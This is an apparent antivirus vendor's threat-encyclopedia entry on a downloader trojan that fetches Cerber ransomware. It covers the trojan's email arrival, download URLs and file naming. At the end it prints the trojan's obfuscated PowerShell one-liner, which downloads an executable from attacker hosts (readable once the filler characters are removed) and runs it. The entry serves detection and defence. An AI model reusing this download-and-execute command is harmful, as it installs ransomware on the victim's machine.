W2KM_POWMET.SIOH

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It does not have any propagation routine.

It does not have any backdoor routine.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

Propagation

This Trojan does not have any propagation routine.

Backdoor Routine

This Trojan does not have any backdoor routine.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• http://{BLOCKED}nmaster.top/support.php?f=3
• http://{BLOCKED}verti.top/support.php?f=3
• http://{BLOCKED}ceramics.com.vn/image/flags/1

It saves the files it downloads using the following names:

• %AppDataLocal%\Temp{Random numbers}.exe
  where {Random numbers} can be randomly generated from 1 to 65536

(Note: %AppDataLocal% is the Application Data folder found in Local Settings, where it is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Local on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

Trend Micro detects the dowloaded file as:

• Ransom_CERBER.SMALY0

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

Other Details

This Trojan does the following:

• It uses the following Powershell to download and execute a malicious file:
  powershell.exe $vGeuXRnUX = new-object System.Net.WebClient;$ikdGAwQ = new-object random; $OoamRxZ = 'hgYtgYtgYpgY:gY/gY/gYkgYogYngYggYdgYogYngYmgYagYsgYtgYegYrgY.gYtgYogYpgY/gYsgYugYpgYpgYogYrgYtgY.gYpgYhgYpgY?gYfgY=gY3gY,gYhgYtgYtgYpgY:gY/gY/gYtgYogYngYsgYegYrgYvgYegYrgYtgYigY.gYtgYogYpgY/gYsgYugYpgYpgYogYrgYtgY.gYpgYhgYpgY?gYfgY=gY3gY,gYhgYtgYtgYpgY:gY/gY/gYlgYogYngYggYvgYagYngYcgYegYrgYagYmgYigYcgYsgY.gYcgYogYmgY.gYvgYngY/gYigYmgYagYggYegY/gYfgYlgYagYggYsgY/gY.gY.gY.gY/gY1' -replace 'gY', '';$ErvzDXtNFD = $OoamRxZ.Split(',');$XDEs = $ikdGAwQ.next(1, 65536);$VIQSv = $env:temp + '' + $XDEs + '.exe';foreach($dIgeW in $ErvzDXtNFD){try{$vGeuXRnUX.DownloadFile($dIgeW.ToString(), $VIQSv);Start-Process $VIQSv;break;}catch{write-host $_.Exception.Message;}}